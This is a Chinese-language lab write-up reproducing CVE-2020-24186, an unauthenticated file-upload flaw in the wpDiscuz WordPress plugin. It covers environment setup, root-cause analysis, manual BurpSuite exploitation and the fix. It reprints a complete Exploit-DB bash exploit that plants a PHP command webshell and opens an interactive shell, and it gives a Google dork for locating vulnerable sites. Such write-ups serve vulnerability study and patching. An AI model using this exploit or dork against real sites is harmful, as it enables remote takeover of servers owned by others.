CVE-2020-24186 WordPress評論插件wpDiscuz任意檔案上傳漏洞
0x00 漏洞介紹
Wordfence的威脅情報團隊在一款名叫wpDiscuz的Wordpress評論插件(wpDiscuz是WordPress功能豐富的評論系統插件,可充實網站評論部分)中發現了一個高危漏洞,此漏洞将允許未經認證的攻擊者在目标站點中上傳任意檔案,進而實作遠端代碼執行。
0x01 漏洞環境
WordPress的gVectors wpDiscuz插件7.0至7.0.4版本中存在遠端代碼執行漏洞,允許未經驗證的使用者通過wmuUploadFiles Ajax操作上傳任何類型的檔案,包括PHP檔案。
- 攻擊機:192.168.91.135 kali-2021
- 目标機:192.168.91.1 windows10 phpstudy8.1.1.3
- 工具:火狐浏覽器、BurpSuite 2021
- CMS與插件版本:Wordpress5.4.1、wpDiscuz7.0.4
0x02 漏洞搭建
Wordpress5.4.1下載下傳位址
https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
wpDiscuz7.0.4+7.0.3下載下傳位址(需T1Z1)
https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip #7.0.3也可以下載下傳,但是用不了github上的EXP!!下文會提到!!
phpstudy搭建wordpress
1、phpstudy啟動web服務,建立網站,将下載下傳的wordpress放入這裡。建立網站的同時,可以建立一個資料庫,記住資料庫的名字、使用者和密碼,下面的步驟需要用到。
2、将
wpdiscuz 7.0.3
放到\wordpress\wp-content\plugins目錄下,還有個
7.0.4
,之後說一下。
3、通路建立的網站,點選
現在就開始
4、填寫資料庫資訊
5、之後開始設定賬号密碼等
6、安裝成功
7、安裝成功後會跳轉到這個界面,輸入剛才設定的賬号密碼進入即可,賬号:
fuxian
密碼:
123@qwe
8、登入成功後,點選左下方的插件
9、可以看到就是
7.0.3版本
點選啟用即可,至此靶場全部搭建完畢
ubuntu-server 安裝wordpress網站
1、安裝apache2服務
apt update
apt install apache2 #安裝apache2
systemctl status apache2 #檢視安裝後的狀态
/etc/init.d/apache2 start 或者 systemctl start system #開啟apache2
netstat -antlp | grep -in 80 #查找80端口确定開啟
2、安裝Mysql服務
apt update
apt install mysql-server #安裝mysql-server
mysql --version #檢視版本資訊
systemctl status mysql #檢視mysql狀态
mysql_secure_installation #配置mysql的安全選項,剛安裝好mysql沒有密碼,直接回車就行,設定了新密碼之後,如下
mysql -u root -p 即可進入mysql
mysql -u root 直接進入的原因是預設允許127.0.0.1直接連結。
3、安裝php語言環境
apt install php #預設就是安裝php7,或者直接輸入apt install php7
apt install libapache2-mod-php #安裝php的相關元件,如果沒有這行指令,通路網站得到的是一個空白的頁面!!!意思為php根本不解析!!!
apt install php-curl php-gd php-xml php-mbstring php-xmlrpc php-zip php-soap php-intl
#安裝php與mysql之間的元件,如果沒有這行指令,通路網站得到的是“您的mysql似乎沒有安裝wordpress應有元件”!!
systemctl restart mysql #請務必重新開機一下!
systemctl restart apache2 #請務必重新開機一下!
4、之後通路網站就可以看到了
5、之後先别着急安裝,還有一步,即配置資料庫和
wp-config
。
建立 Wordpress運作需要的資料庫和帳号,這裡使用的資料庫名
wdpressdb
,使用者名
wpuser
,密碼
Wpuser123
可以根據自己需要修改。如果這一步不做,隻是使用預設的
root
賬号,是無法連結資料庫的。
mysql -u root -p
create database wordpress;
create user 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL ON wdpressdb.* TO 'wpuser'@'localhost' IDENTIFIED BY 'Wpuser123.com';
GRANT ALL PRIVILEGES ON *.* TO 'wpuser'@'localhost';
flush privileges;
之後再去通路網站,會發現有一個問題,就是無法寫入,是因為沒有寫入權限。執行以下指令即可,即給其他使用者添加個寫入權限。
chmod 557 /var/www/html/wordpress 或者 chown -R www-data:www-data /var/www/html/wordpress
6、因為是靶場,随便填寫一個郵箱,然後繼續安裝即可
7、安裝成功
坑點總結
感覺ubuntu安裝wordpress全是坑,必須要總結一下
1、ubuntu安裝apache2、mysql-server、php之後,還要安裝相關的php元件,才能支援資料庫和apache2的正常運作。安裝完元件後,記得重新開機mysql和apache。
2、腳本不要輕易相信,試試就好了,并不都是好用的。。不過可以借助前輩寫的腳本,自己更改優化一下。
0x03 漏洞範圍
- wpDiscuz7.0.0–7.0.4
0x04 漏洞條件
wordpress插件滿足範圍即可
0x05 漏洞原理
1、首先通過抓包發現點選評論區的圖檔後,是向
admin-ajax.php
送出
POST
請求。
2、分析
admin-ajax.php
,追溯到
wp-admin/includes/ajax-actions.php
3、這裡商場竄的檔案名稱會通過
wp_check_filetype_and_ext
來校驗,随後将校驗的結果賦予給
$wp_filetype
變量,之後再通過
wp_match_mime_types
進行校驗檔案類型。不符合就不允許上傳,對
MIME-TYPE
校驗不完整、嚴格,同時沒有對檔案頭資訊進行白名單比對,可以輕易更改
MIME-TYPE
為
image/jpg
、檔案頭為
GIF89A
繞過。
4、全局搜尋一下
wp_match_mime_types
與
wp_check_filetype_and_ext
,看看到底這兩個函數有什麼作用。
apply_filters
建立過濾器,是
wordpress
中非常重要的函數
apply_filters( $tag, $value, $var... );
$tag
定義過濾器名稱(必須),
$value
需要過濾的值(必須),
$var
(可選字段),傳給過濾函數額外的變量參數,輔助過濾函數對傳回值進行操作,可以添加無限個。
#wp_match_mime_types位于/wp-includes/functions.php的2794行到2973行。
#這裡取2823-2832行,還有很多行的MIME-TYPE種類校驗。
$mime_to_ext = apply_filters(
'getimagesize_mimes_to_exts',
array(
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/bmp' => 'bmp',
'image/tiff' => 'tif',
)
);
0x06 漏洞複現
手動複現
1、進入一篇文章的評論處,點選圖檔标簽。
2、上傳一個
shell.jpg
檔案,此檔案是
shell.php
更改了字尾的,再利用
BurpSuite
抓包
3、修改包的這兩處位置,就是一個簡單的檔案頭繞過
4、在響應包中擷取上傳檔案的路徑
5、複制下來直接粘貼到網頁上,傳個系統指令參數是可以的。
6、若要連結蟻劍,将上傳檔案的路徑複制下來,需要去掉URL轉義符号如下,然後打開蟻劍,粘貼上去,連結成功
http:\/\/192.168.91.137\/wordpress\/wp-content\/uploads\/2022\/01\/shell-1642067533.474.php
http://192.168.91.137/wordpress/wp-content/uploads/2022/01/shell-1642067533.474.php
EXP複現
前方是我踩坑的地方,有興趣可以看看,借鑒借鑒
1、先從簡單的開始,此項目github有exp,下載下傳。可以看到,這個exp隻能适用于
7.0.4
的!
proxychains git clone https://github.com/h3v0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE
proxychains git clone https://github.com/sukusec301/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE #備份
之前我安裝的
7.0.3
不适用,可以成功上傳,但是無法執行指令。
2、重新安裝了個
7.0.4
版本的,然後重新測試一下,确實可以,但是吧,這個路徑給你硬生生改成了http://127.0.0.1:9090。。。
3、最奇葩的是,後來我自己又裝了一個ubuntu的測試了一下,如下圖,就根本使用不了了。。。各種無語。看來工具還是自己寫比較靠譜,既然用不了,就可以把github上的這個py腳本記錄下來,以後自己重新編寫一下。。。。
0x07 漏洞修複
更新wpDiscuz版本。
https://downloads.wordpress.org/plugin/wpdiscuz.7.0.7.zip
在此版本中,
isAllowedFileType
函數中對
extension
字尾進行了檢測,當MIME與字尾不一樣時會在進入最後一步之前傳回False,也就是說使用MIME的白名單來對上傳檔案的字尾進行了限制。
0x08 漏洞POC+EXP分析
下面這個EXP來源:https://www.exploit-db.com/exploits/49962,有時間研究一下
# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Arbitrary File Upload (Unauthenticated)
# Google Dork: inurl:/wp-content/plugins/wpdiscuz/
# Date: 2021-06-06
# Original Author: Chloe Chamberland
# Exploit Author: Juampa Rodríguez aka UnD3sc0n0c1d0
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: 7.0.4
# Tested on: Ubuntu / WordPress 5.6.2
# CVE : CVE-2020-24186
#!/bin/bash
if [ -z $1 ]
then
echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
exit 0
elif [ -z $2 ]
then
echo -e "\n[i] Usage: exploit.sh [IP] [/index.php/2021/06/06/post]\n"
exit 0
else
post=$(curl -sI http://$1$2/ | head -n1)
if [[ "$post" == *"200 OK"* ]]; then
wmu_nonce=$(curl -s http://$1$2/ | sed -r "s/wmuSecurity/\nwmuSecurity/g" | grep wmuSecurity | cut -d '"' -f3)
webshell=$(curl -isk -X 'POST' -H 'X-Requested-With: XMLHttpRequest' -H 'Content-Type: multipart/form-data; boundary=---------------------------WebKitFormBoundaryUnD3s' --data-binary $'-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0awmuUploadFiles\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_nonce\"\x0d\x0a\x0d\x0a'$wmu_nonce$'\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmuAttachmentsData\"\x0d\x0a\x0d\x0aundefined\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\"a.php\" Content-Type: image/jpeg\x0d\x0a\x0d\x0aGIF8\x0d\x0a<?php\x0d\x0aif(isset($_REQUEST[\'cmd\'])){\x0d\x0a $cmd = ($_REQUEST[\'cmd\']);\x0d\x0a system($cmd);\x0d\x0a die;\x0d\x0a}\x0d\x0a?>\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s\x0d\x0aContent-Disposition: form-data; name=\"postId\"\x0d\x0a\x0d\x0a18\x0d\x0a-----------------------------WebKitFormBoundaryUnD3s--\x0d\x0a' http://$1/wp-admin/admin-ajax.php | sed 's/\":"\http/\nhttp/g' | grep "http\:\\\\/" | cut -d '"' -f1 | sed 's/\\//g')
echo -e "\nWebshell:" $webshell"\n"
echo -e "--------------WIN--------------"
echo -e " ¡Got webshell! "
echo -e "-------------------------------\n"
while :
do
read -p '$ ' command
curl -s $webshell?cmd=$command | grep -v GIF8
done
else
echo -e "\n[!] The indicated post was not found\n"
fi
fi
0x09 漏洞挖掘與實戰
Google Dork
: inurl:/wp-content/plugins/wpdiscuz/
0x10 Reference
https://cloud.tencent.com/developer/article/1709890?from=article.detail.1843895
https://www.exploit-db.com/exploits/49962